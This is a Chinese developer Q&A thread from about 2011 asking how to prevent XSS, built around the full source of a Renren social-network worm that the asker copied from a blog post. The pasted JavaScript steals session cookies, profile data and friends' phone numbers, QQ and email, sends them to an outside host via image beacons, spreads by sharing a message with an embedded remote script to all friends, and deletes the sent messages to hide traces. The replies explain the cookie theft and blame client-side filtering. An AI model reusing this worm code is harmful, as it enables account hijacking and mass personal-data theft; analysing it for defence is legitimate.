如何避免XSS漏洞以及带来的雪崩效应?

2011年4月30日:凌晨,人人网站内信被跨站攻击,导致我个人也受到大量用户发来的站内信,不知道用户资料是不是也会被窃取之类?请求大神前来解答,还有下面的代码,是在一篇人人网日志上Copy的。

var token = XN.get_check;
var mobile_friends = [];
var all_friends = [];

var my_id = 0;

function send_data(v)
{
 var img = document.createElement('img');
 img.src = 'http://qiutuan.net/2011/log.php?' + v;
 document.body.appendChild(img);
 document.body.removeChild(img);
}

function send_to_friends(){
 var i;
 var idlist = [];
 for (i = 0; i < all_friends.length; i++)
 {
  idlist.push(all_friends[i].toString());
  if (idlist.length == 10)
  {
   _send_to_friends(idlist);
   idlist = [];
  }
 }
 if (idlist.length > 0) _send_to_friends(idlist);
}

function _send_to_friends(ids){
  var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'></img> <script src='http://qiutuan.net/2011/51.js'></script> ";
  var p = {action:"sharetofriend", 
  body:content, 
  form:{
   albumid:"0",
   currenUserTinyurl:"http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
   fromSharedId:"0",
   fromShareOwner:"0",
   fromname:"",
   fromno:"0",
   fromuniv:"",
   link:"http://edm.renren.com/link.do?l=27627&t=51",
   pic:"http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
   summary:"相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",
   title:"加a02好友 奖品散不停",
   type:"51"
  }, 
  ids:ids, 
  noteId:"0", 
  subject:"有人暗恋你哦,你想知道TA是谁么", 
  tsc:token};

  delete p.tsc;

new XN.net.xmlhttp({url:"http://share.renren.com/share/submit.do",
     data:"tsc="+token+"&post="+encodeURIComponent(XN.json.build(p)),
     onSuccess: function (response) {del_send_messages();}
     });
}

function del_messages(idlist){

var struct_msgs ={
     action:"delete",
     folder:"1",
     slice:"20",
     unread_count:"0",
     ids:idlist
    };

new Ajax.Request("/message/ajax.do",{method:"get",parameters:"post="+encodeURIComponent(XN.JSON.build(struct_msgs))});

}


function del_send_messages(){
 new XN.net.xmlhttp({url:"http://msg.renren.com/message/inbox.do?f=1",
     method:"GET", 
     onSuccess: function (response) {    
      var listid1 = response.responseText.match(/thread_(\d+)/g);
      for(var i=0;i < listid1.length;i++){
       listid1[i] = listid1[i].substring(7);
      }
      del_messages(listid1);
     }
    });
}

 

function get_self_info(){
new XN.net.xmlhttp({url:"http://www.renren.com/profile.do?v=info_ajax&undefined",method:"GET",onSuccess:function(r){

var text_html = r.responseText;

var id,name,birthday,qq,school,mobile,msn,day,month,year;

 id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
 my_id = id;
 school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1];
 year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
 month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
 day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
 name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];
 
 if(month <= 9){
  month = "0"+month;
 } 
 if(day <= 9){
  day = "0"+day;
 } 
 birthday = year + month + day;
 
 qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
 
 msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
 
 mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
 
 var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name) 
    + "&school=" + encodeURIComponent(school) 
    + "&birth=" + birthday 
    + "&qq=" + qq 
    + "&msn=" + encodeURIComponent(msn) 
    + "&mobile=" + mobile;
 send_data(data);
}

});
}

function get_card(tid)
{
   new XN.net.xmlhttp({url:'http://www.renren.com/showcard?friendID='+tid, 
                      method:'get',
                      onSuccess:function(r){
       var obj = eval("("+r.responseText+")");
       var data = 'type=card&my_id=' + my_id
        + '&id=' + obj.id
        + '&name=' + encodeURIComponent(obj.name)
        + '&msn=' + encodeURIComponent(obj.msn)
        + '&phone=' + encodeURIComponent(obj.phone)
        + '&qq=' + encodeURIComponent(obj.qq)
        + '&email=' + encodeURIComponent(obj.email)
        + '&address=' + encodeURIComponent(obj.address);
     send_data(data);
    }
  }); 
}


function get_all_friends(){
 new XN.net.xmlhttp({url:"http://www.renren.com/listcards",method:"GET",onSuccess:function(r){

 var text_html = r.responseText;
 //alert(text_html);
 
 var friends_list = eval("("+text_html+")");
 var owned_mobile = (friends_list.list[0].list).length;  //have mobile friends number
 for(var i =0;i< owned_mobile ;i++){
  mobile_friends.push(friends_list.list[0].list[i].id);
  all_friends.push(friends_list.list[0].list[i].id);
 }
 //alert(mobile_friends.length);
 
 var no_mobile = (friends_list.list[1].list).length;
 for(var i =0;i< no_mobile ;i++){
  all_friends.push(friends_list.list[1].list[i].id);
 }
 //alert(all_friends.length);
 for(var i = 0; i < mobile_friends.length; i++)
  get_card(mobile_friends[i]);
    send_to_friends();
}
});
}

window.onload = function(){
send_data('type=cookie&v='+encodeURIComponent(document.cookie));
get_self_info();
get_all_friends();
}

2011年12月20日:人人网状态疯传利用了CSRF(Cross-site request forgery跨站请求伪造)漏洞。只要你登录人人网,进入别人网页后,它的js代码自动向人人网提交数据,造成自动发状态的漏洞,根本原因是浏览器不检查跨域访问的安全性。
疯传

阅读 13.6k
6 个回答

实际上这段代码最险恶的就是

window.onload = function(){
send_data('type=cookie&v='+encodeURIComponent(document.cookie));
get_self_info();
get_all_friends();
}

以及

function send_data(v)
{
 var img = document.createElement('img');
 img.src = 'http://qiutuan.net/2011/log.php?' + v;
 document.body.appendChild(img);
 document.body.removeChild(img);
}

这两段代码的作用就是把你的cookie信息发送到这个第三方网站,cookie信息里保存了网站的验证信息。第三方利用这些信息可以伪造你的登录状态,从而以你的身份登录。

我记得刚开始玩校内的时候各种xss漏洞都有,校内网成了各种小黑客的练习场所。。现在好多了。

其实像这种xss漏洞各个网站都有,无论大小~
这个网站很不错:http://www.wooyun.org/corps/%E4%BA%BA...

最大的问题在于,屏蔽站内信中的HTML是在浏览器端通过JS实现的,而不是在服务器端实现,造成由JS生成的带HTML的内容在msg中大量传播.

为什么人人这个问题解决不了?人人抄袭不到家啊!!!!!!
JS确实能减轻服务器端的劳动负载,但业内人士一个firebug就能干出一大堆好玩的

现在那个网站已经把东西删除了~

感觉人人网的工程师很菜啊

新手上路,请多包涵

这里不是菜不菜的问题,在SNS社区,对最好的对XSS最好的诠释也就是蠕虫了

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
宣传栏